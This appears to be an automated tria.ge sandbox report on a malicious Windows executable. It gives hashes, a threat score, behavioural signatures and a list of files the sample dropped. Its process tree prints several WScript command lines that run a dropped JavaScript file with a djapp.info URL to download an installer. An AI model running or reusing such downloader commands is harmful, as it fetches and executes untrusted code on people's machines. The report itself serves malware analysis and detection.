Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 03:13

General

  • Target

    82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    82dd23568d5b57814fe72cb668ceab2e

  • SHA1

    6e489495edcd4301d5fe62392c7cf28f995ddc99

  • SHA256

    0fda5b063f5dc9e57fb21810d24ede4874b6159c46dd00cc144faa3e53830f3d

  • SHA512

    8444783daa2ea0fa060ae92470958d8f5f7c7bab0398a6df0e3617400915f10345ed00487f359008a6d2feb5008d2a5f35a6cd469f6f77a3620fbd110341b36c

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndnB

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 11 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
      2⤵
      • Blocklisted process makes network request
      PID:2300
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
      2⤵
      • Blocklisted process makes network request
      PID:2440
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
      2⤵
      • Blocklisted process makes network request
      PID:1660
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
      2⤵
      • Blocklisted process makes network request
      PID:1696
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
      2⤵
      • Blocklisted process makes network request
      PID:3052

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    1KB

    MD5

    6b5dad23fd7edd2c9daf944abc5d5341

    SHA1

    63a720a1bd0d9e2ecf288f11529f00256970577d

    SHA256

    e398b27255350eb1740b6851d4ca1faabc2b8c5ddd8caa791a47fc15af730060

    SHA512

    870f71e1f8724c984d51600080c43562303263c5ae4b9bf648fcf28909a88141a00db0e88b5ec52fc938c81ba78cb31a92a60792ff74b2369fdf10932d7e540c

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

    Filesize

    724B

    MD5

    8202a1cd02e7d69597995cabbe881a12

    SHA1

    8858d9d934b7aa9330ee73de6c476acf19929ff6

    SHA256

    58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

    SHA512

    97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    410B

    MD5

    e31ce4ba74f3e2fba574a5134b384738

    SHA1

    5634143f5491235c1f653ab43b7d79bb319f40ac

    SHA256

    75e1fe1e413184a2c939fb92a4613339a3458a73d074b64e6a7294930759d03a

    SHA512

    42c8f3613fdec05f64e57c293fffc7790f521b7443466091f2e5d7440261753ec383ce3cf5ada00e480538d1aa5e175b05a1abb4f8f5967d74f8cef4a6f90690

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    f33667c72b78b4f56ef83dac410c6abc

    SHA1

    0198f1f107e388487783bdb2a8cfe7e643030b6c

    SHA256

    064f3ed69416a472320d27a15e3a1f8d0db5067e277b36f66e1b91aab443fe61

    SHA512

    8e676e34560f1ac6e08bbb979a56e9c46637decc9ff820e89aeb0c6ba87600405cf4f2d48fd1819a450cc8e73770f15447e966fd7debced0fe08fc5839ee4dba

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

    Filesize

    392B

    MD5

    c045ca01c86fc3ec72aafa68742579f2

    SHA1

    0718662fb11602eef32aa802a55bd6cf7b9b7877

    SHA256

    78313cb26364521983dd4d8bd299282e498b94a7e9495a020c3bdc6574f09440

    SHA512

    7b8b73e2474934f2a28a51f8c95cb539ce3552feb174c5e048e834413bba384441020fdc705ade5072bdcc5f89f0968318695a70c8557470d8073eac7c44868b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

    Filesize

    6KB

    MD5

    5c071d2ed68b117f8811407d4c2dac1c

    SHA1

    c468952522196c3c7a2810e704702bc70e988791

    SHA256

    fbad47e3d7f173f555d1954043150605f129c570dd3db258e628ae8cae56a27b

    SHA512

    a65febd04e0c564106eed75a137a4cf67eb41ebe375adaf17d8eb08db0ecd93d3c19ba9dd48dfd0cc72ad9f89838497d3a8fe1ea29c90f9d33051eb9fcf540e1

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

    Filesize

    6KB

    MD5

    2607102b23c36b7de95de919756b1393

    SHA1

    3a91812a2a15f974a3e55e052bd18e65f2a42dcf

    SHA256

    299c9596f79730e50299c09e132ab72a12eee2effbcb63ca6462a6f3f1002808

    SHA512

    05597bb31c247d8fe37795ec9f327c9c3b0449f5ccfd5bbc33f7ac25f66abfb3be91954c7ac78df93bbe9b3b7d566b39494f37a3c0f9c0d33ce42596d5c51052

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

    Filesize

    40KB

    MD5

    b4e07ba304fd23f8cf6b5fc8a49b834f

    SHA1

    50ae69dbf7d19dd494d69ca2b7ed3e09f856c12f

    SHA256

    447a68e663519452ea066358c97b8f8c7d376917848e86cbca411dbb1288e1f0

    SHA512

    bc0879a306aa7d21306ddd03ddb3f1e27d894fb3b98236ecb8119af09431a9a0563fff97d7eb2a4e3566f59f4102bcf2739de9c230e8b0e16e949d3337a5b4f1

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

    Filesize

    40KB

    MD5

    7ca6acdb2e6c01076be5498400b30d21

    SHA1

    0ff2fb763c2e946cca0f94c4cdc56854d522a800

    SHA256

    a9d72605c87bd9c6e199ba2dd4c863144163d2d83e912466130a162097d57fce

    SHA512

    948c43e52bc8b70f92f0f1abd915a3a48c8d48eae08c305239559576d5c483c5e0e7562a0b9678a0dba1f2b1ee575182dd85767ea326a747433fc481b64f3dc6

  • C:\Users\Admin\AppData\Local\Temp\CabCD4D.tmp

    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\TarE503.tmp

    Filesize

    171KB

    MD5

    9c0c641c06238516f27941aa1166d427

    SHA1

    64cd549fb8cf014fcd9312aa7a5b023847b6c977

    SHA256

    4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

    SHA512

    936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

  • C:\Users\Admin\AppData\Local\Temp\fuf84AA.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\7C2OLNBE.txt

    Filesize

    175B

    MD5

    7f40d6481edd93a2480366510b1c7c83

    SHA1

    dd63c8f32878286ecd49ec7816d188353a5642f6

    SHA256

    cd92f34584e11c8f650e56c20034727d4a94a78e69f8d09f8cdf5098ca6f1aa1

    SHA512

    3734364c57938f877e43ac72df933762d2988fef64a391debfec91b77bb0570cd6e3552a138af665f1146827acf9e472afb7d0c5d0f8d1dd9c99039a59bd1904